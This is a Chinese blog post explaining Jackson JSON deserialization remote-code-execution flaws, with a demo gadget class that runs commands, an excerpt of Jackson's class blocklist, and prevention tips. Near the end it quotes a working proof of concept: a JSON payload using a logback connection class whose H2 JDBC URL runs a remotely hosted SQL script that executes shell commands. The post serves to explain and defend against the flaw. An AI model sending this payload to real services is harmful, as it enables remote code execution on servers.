【Java Web 安全】jackson漏洞探究、利用、预防

前言

阿里云安全公告:2019年7月31日,阿里云应急响应中心监测到有安全研究人员披露Jackson最新反序列化远程代码执行漏洞(CVE-2019-14361和CVE-2019-14439)。同事说怎么jackson这类的json序列化库经常报漏洞,而且基本都是高危漏洞,这些漏洞到底怎么来的,jackson的开发程序员就这么不靠谱么?改不完的BUG?这篇文章就让我们走进jackson的世界,感受它的无奈

1 一个样例

public class JacksonTest {
    public static void main(String[] args) {
	TestObject test = new TestObject();
	test.setName("test");
	test.setObja(new UnSafeObj("calc.exe"));
	test.setObjb(new UnSafeObj("calc.exe"));
	test.setUnSafeObj(new UnSafeObj("calc.exe"));
	String json = bean2Json(test);
	System.out.println(json);
	System.out.println(json2Bean(json, test));
    }
    /**
     * 对象转json
     * @param bean
     * @return
     */
    public static String bean2Json(Object bean) {
	String json = null;
	ObjectMapper mapper = new ObjectMapper();
	try {
//	    mapper.enableDefaultTyping();//将保留对象的实际类型
	    StringWriter sw = new StringWriter();
	    JsonGenerator gen = new JsonFactory().createJsonGenerator(sw);
	    mapper.writeValue(gen, bean);
	    gen.close();
	    json = sw.toString();
	} catch (Exception e) {
	    e.printStackTrace();
	}
	return json;
    }
    /**
     * json转对象
     * 
     * @param json
     * @param obj
     * @return
     */
    public static Object json2Bean(String json, Object obj) {
	ObjectMapper mapper = new ObjectMapper();
	Object bean = null;
	try {
//	    mapper.enableDefaultTyping();//将还原对象的实际类型
	    bean = mapper.readValue(json, obj.getClass());
	} catch (Exception e) {
	    e.printStackTrace();
	}
	return bean;
    }
}
/**
 * 测试对象
 * 
 * @author chaozai
 * @date 2019年8月14日
 *
 */
class TestObject {
    private String name;
    private Object obja;
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    private Object objb;
    private UnSafeObj unSafeObj;
    
    TestObject() {
    }
    public String getName() {
	return name;
    }
    public void setName(String name) {
	this.name = name;
    }
    public Object getObja() {
        return obja;
    }
    public void setObja(Object obja) {
        this.obja = obja;
    }
    public Object getObjb() {
        return objb;
    }
    public void setObjb(Object objb) {
        this.objb = objb;
    }
    public UnSafeObj getUnSafeObj() {
        return unSafeObj;
    }
    public void setUnSafeObj(UnSafeObj unSafeObj) {
        this.unSafeObj = unSafeObj;
    }
    @Override
    public String toString() {
        return String.format("TestObject.name=%s, TestObject.obja=%s,TestObject.objb=%s, TestObject.unSafeObj=%s", name, obja,objb,unSafeObj);
    }
}
/**
 * 可被利用,非安全对象
 * 
 * @author chaozai
 * @date 2019年8月14日
 *
 */
class UnSafeObj {
    private String cmd;

    UnSafeObj() {
	System.out.println("UnSafeObj init success");
    }
    UnSafeObj(String cmd) {
	this.cmd = cmd;
    }
    public String getCmd(){
	return cmd;
    }
    public void setCmd(String cmd)  {
	this.cmd = cmd;
	System.out.println(String.format("UnSafeObj execute cmd: %s", cmd));
	try {
	    Runtime.getRuntime().exec(cmd);
	} catch (IOException e) {
	    e.printStackTrace();
	}
    }
}

结果:

  • objb对象json结果包含:"@class":"safe.jackson.UnSafeObj",实际对象的Class全限定名,而obja则是一个普通的map数据对象,两者的区别在于,objb添加了注解:@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
  • json反序列化结束后,obja是map数据对象,而objb则是UnSafeObj真实对象
  • 程序运行结束,会发现运行了两个calc.exe(计算器)程序,可以判断obja并没有走UnSafeObj对象的反序列化
  • 序列化与反序列化添加mapper.enableDefaultTyping(),也能够实现注解同样效果,保留真实序列化对象
{"name":"test","obja":{"cmd":"calc.exe"},"objb":{"@class":"safe.jackson.UnSafeObj","cmd":"calc.exe"},"unSafeObj":{"cmd":"calc.exe"}}
UnSafeObj init success
UnSafeObj execute cmd: calc.exe
UnSafeObj init success
UnSafeObj execute cmd: calc.exe
TestObject.name=test, TestObject.obja={cmd=calc.exe},TestObject.objb=safe.jackson.UnSafeObj@c53dce, TestObject.unSafeObj=safe.jackson.UnSafeObj@15cda3f

2 漏洞起因

其实就是Json反序列化的数据中包含了可被利用的非安全对象。利用场景如上述例子,分为两种:

  • 反序列化对象中包含Object等常见超级父类对象,即可以被其他广泛对象继承(多态特性利用),且对象属性被注解@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)标识,或者反序列化时执行了mapper.enableDefaultTyping代码。

分析:这两种情况中,json数据里包含属性对象Class名称,那么就可以被攻击者篡改为指定的威胁对象,从而控制了反序列化过程,当然正常情况下,大家代码不使用该反序列化特性即可。那么当对象类型无法正确定位的时候,jackson是如何做反序列化的呢?一步步Debug发现:UntypedObjectDeserializer中会将数据作为LinkedHashMap对象返回

protected Object mapObject(JsonParser jp, DeserializationContext ctxt) throws IOException, JsonProcessingException {
	JsonToken t = jp.getCurrentToken();
	if (t == JsonToken.START_OBJECT) {
	    t = jp.nextToken();
	}

	if (t != JsonToken.FIELD_NAME) {
	    return new LinkedHashMap(4);
	}
	String field1 = jp.getText();
	jp.nextToken();
	Object value1 = deserialize(jp, ctxt);
	if (jp.nextToken() != JsonToken.FIELD_NAME) {
	    LinkedHashMap result = new LinkedHashMap(4);
	    result.put(field1, value1);
	    return result;
	}
	String field2 = jp.getText();
	jp.nextToken();
	Object value2 = deserialize(jp, ctxt);
	if (jp.nextToken() != JsonToken.FIELD_NAME) {
	    LinkedHashMap result = new LinkedHashMap(4);
	    result.put(field1, value1);
	    result.put(field2, value2);
	    return result;
	}

	LinkedHashMap result = new LinkedHashMap();
	result.put(field1, value1);
	result.put(field2, value2);
	do {
	    String fieldName = jp.getText();
	    jp.nextToken();
	    result.put(fieldName, deserialize(jp, ctxt));
	} while (jp.nextToken() != JsonToken.END_OBJECT);
	return result;
}
  • 已有第三方库或自定义对象存在可被利用特性,这才是大量CVE漏洞的根源。

分析:上述例子里的Unsafe对象,以及jackson2.8.11开始,新增黑名单效验类SubTypeValidator中过滤的所有Class对象,大多都是些违反了单一责任原则的对象,在set属性过程中添加了可能超出控制的威胁代码或者是一些敏感对象数据如ConnectionUrl的指定等。

public class SubTypeValidator
{
    protected final static String PREFIX_SPRING = "org.springframework.";

    protected final static String PREFIX_C3P0 = "com.mchange.v2.c3p0.";

    /**
     * Set of well-known "nasty classes", deserialization of which is considered dangerous
     * and should (and is) prevented by default.
     */
    protected final static Set<String> DEFAULT_NO_DESER_CLASS_NAMES;
    static {
        Set<String> s = new HashSet<String>();
        // Courtesy of [https://github.com/kantega/notsoserial]:
        // (and wrt [databind#1599])
	.......省略部分代码

        // [databind#2389]: logback/jndi
        s.add("ch.qos.logback.core.db.JNDIConnectionSource");

        // [databind#2410]: HikariCP/metricRegistry config
        s.add("com.zaxxer.hikari.HikariConfig");

        // [databind#2420]: CXF/JAX-RS provider/XSLT
        s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider");
        
        DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
    }

    ......省略部分代码

    public void validateSubType(DeserializationContext ctxt, JavaType type,
            BeanDescription beanDesc) throws JsonMappingException
    {
        // There are certain nasty classes that could cause problems, mostly
        // via default typing -- catch them here.
        final Class<?> raw = type.getRawClass();
        String full = raw.getName();

        main_check:
        do {
            if (_cfgIllegalClassNames.contains(full)) {
                break;
            }

            // 18-Dec-2017, tatu: As per [databind#1855], need bit more sophisticated handling
            //    for some Spring framework types
            // 05-Jan-2017, tatu: ... also, only applies to classes, not interfaces
            if (raw.isInterface()) {
                ;
            } else if (full.startsWith(PREFIX_SPRING)) {
                for (Class<?> cls = raw; (cls != null) && (cls != Object.class); cls = cls.getSuperclass()){
                    String name = cls.getSimpleName();
                    // looking for "AbstractBeanFactoryPointcutAdvisor" but no point to allow any is there?
                    if ("AbstractPointcutAdvisor".equals(name)
                            // ditto  for "FileSystemXmlApplicationContext": block all ApplicationContexts
                            || "AbstractApplicationContext".equals(name)) {
                        break main_check;
                    }
                }
            } else if (full.startsWith(PREFIX_C3P0)) {
                // [databind#1737]; more 3rd party
                // s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
                // s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource");
                // [databind#1931]; more 3rd party
                // com.mchange.v2.c3p0.ComboPooledDataSource
                // com.mchange.v2.c3p0.debug.AfterCloseLoggingComboPooledDataSource 
                if (full.endsWith("DataSource")) {
                    break main_check;
                }
            }
            return;
        } while (false);

        ctxt.reportBadTypeDefinition(beanDesc,
                "Illegal type (%s) to deserialize: prevented for security reasons", full);
    }
}

一共过滤了:零散的各种第三方库;Spring框架中AbstractPointcutAdvisor和AbstractApplicationContext的子类;c3p0里各种DataSource类;所有接口类。

3 漏洞预防

通常安全厂商发布类似公告的时候,该漏洞可能已经被攻击者利用,那么我们怎么可以第一时间知道可能由jackson照成影响的漏洞呢?一共两种:

发现:CVE一共收录了26个相关漏洞

发现:居然还有CVE暂时没有收录的漏洞,那到底是哪个关联库呢?去SubTypeValidator里找#2420得知:

// [databind#2420]: CXF/JAX-RS provider/XSLT
s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider");

4 总结

利用前提:

  • 有漏洞的jackson版本
  • 可接受未信任的客户端json数据
  • json对象包含Object等jdk常见父类的属性对象+开启了可自定义属性所属Class的序列化特性
  • 包含可被利用的gadget(非安全对象),且在jackson黑名单之外

利用方式:

  • 利用gadget去构建SSRF(Server-Side Request Forgery:服务器端请求伪造)
  • 再转化为RCE(remote command/code execute)

一个利用Connection回调H2去获取信息的样例,来自https://www.anquanke.com/post/id/182695

通过python构建一个HTTP服务器(比如python -m SimpleHttpServer),托管如下inject.sql INIT文件:
CREATE ALIAS SHELLEXEC AS $ $ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
    return s.hasNext() ? s.next() : "";  }
$ $;
CALL SHELLEXEC('id > exploited.txt')
然后通过如下方式运行测试应用:
$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]"
...
$ cat exploited.txt
uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin)

预防手段:

  • 升级jackson?有时不是你想升就能升,绑定库太多
  • 检查序列化对象是否包含可被利用的非安全对象
  • 禁用指定Class的序列化特性
  • 有空多看看CVE和GitHub更新

 


爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qqchaozai

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值